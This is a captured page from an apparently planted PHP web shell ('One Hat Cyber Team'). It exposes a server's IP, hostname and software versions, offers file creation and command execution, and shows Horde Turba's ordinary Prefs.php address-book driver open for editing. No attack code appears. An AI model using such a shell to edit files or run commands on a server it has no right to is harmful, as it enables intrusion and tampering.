⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.72
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
turba
/
lib
/
Driver
/
Edit File: Prefs.php
<?php /** * Turba directory driver implementation for Horde Preferences - very simple, * lightweight container. * * Copyright 2010-2017 Horde LLC (http://www.horde.org/) * * See the enclosed file LICENSE for license information (ASL). If you did * did not receive this file, see http://www.horde.org/licenses/apache. * * @author Chuck Hagenbuch <chuck@horde.org> * @category Horde * @license http://www.horde.org/licenses/apache ASL * @package Turba */ class Turba_Driver_Prefs extends Turba_Driver { /** * Returns all entries - searching isn't implemented here for now. The * parameters are simply ignored. * * @param array $criteria Array containing the search criteria. * @param array $fields List of fields to return. * @param array $blobFields Array of fields containing binary data. * * @return array Hash containing the search results. */ protected function _search(array $criteria, array $fields, array $blobFields = array(), $count_only = false) { return $count_only ? count($this->_getAddressBook()) : array_values($this->_getAddressBook()); } /** * Reads the given data from the preferences and returns the result's * fields. * * @param string $key The primary key field to use. * @param mixed $ids The ids of the contacts to load. * @param string $owner Only return contacts owned by this user. * @param array $fields List of fields to return. * @param array $blobFields Array of fields containing binary data. * @param array $dateFields Array of fields containing date data. * @since 4.2.0 * */ protected function _read($key, $ids, $owner, array $fields, array $blobFields = array(), array $dateFields = array()) { $book = $this->_getAddressBook(); $results = array(); if (!is_array($ids)) { $ids = array($ids); } foreach ($ids as $id) { if (isset($book[$id])) { $results[] = $book[$id]; } } return $results; } /** * Adds the specified contact to the addressbook. * * @param array $attributes The attribute values of the contact. * @param array $blob_fields Fields that represent binary data. * @param array $date_fields Fields that represent dates. @since 4.2.0 * * @throws Turba_Exception */ protected function _add(array $attributes, array $blob_fields = array(), array $date_fields = array()) { $book = $this->_getAddressBook(); $book[$attributes['id']] = $attributes; $this->_setAddressbook($book); } /** * TODO */ protected function _canAdd() { return true; } /** * Deletes the specified object from the preferences. * * @param string $object_key TODO * @param string $object_id TODO */ protected function _delete($object_key, $object_id) { $book = $this->_getAddressBook(); unset($book[$object_id]); $this->_setAddressbook($book); } /** * Saves the specified object in the preferences. * * @param Turba_Object $object TODO */ function _save($object) { $object_keys = $this->toDriverKeys(array('__key' => $object->getValue('__key'))); $object_id = reset($object_keys); $attributes = $this->toDriverKeys($object->getAttributes()); $book = $this->_getAddressBook(); $book[$object_id] = $attributes; $this->_setAddressBook($book); } /** * TODO * * @return TODO */ protected function _getAddressBook() { global $prefs; $val = $prefs->getValue('prefbooks'); if (!empty($val)) { $prefbooks = unserialize($val); return $prefbooks[$this->_params['name']]; } return array(); } /** * TODO * * @param $addressbook TODO * * @return TODO */ protected function _setAddressBook($addressbook) { global $prefs; $val = $prefs->getValue('prefbooks'); $prefbooks = empty($val) ? array() : unserialize($val); $prefbooks[$this->_params['name']] = $addressbook; $prefs->setValue('prefbooks', serialize($prefbooks)); $prefs->store(); } }
Simpan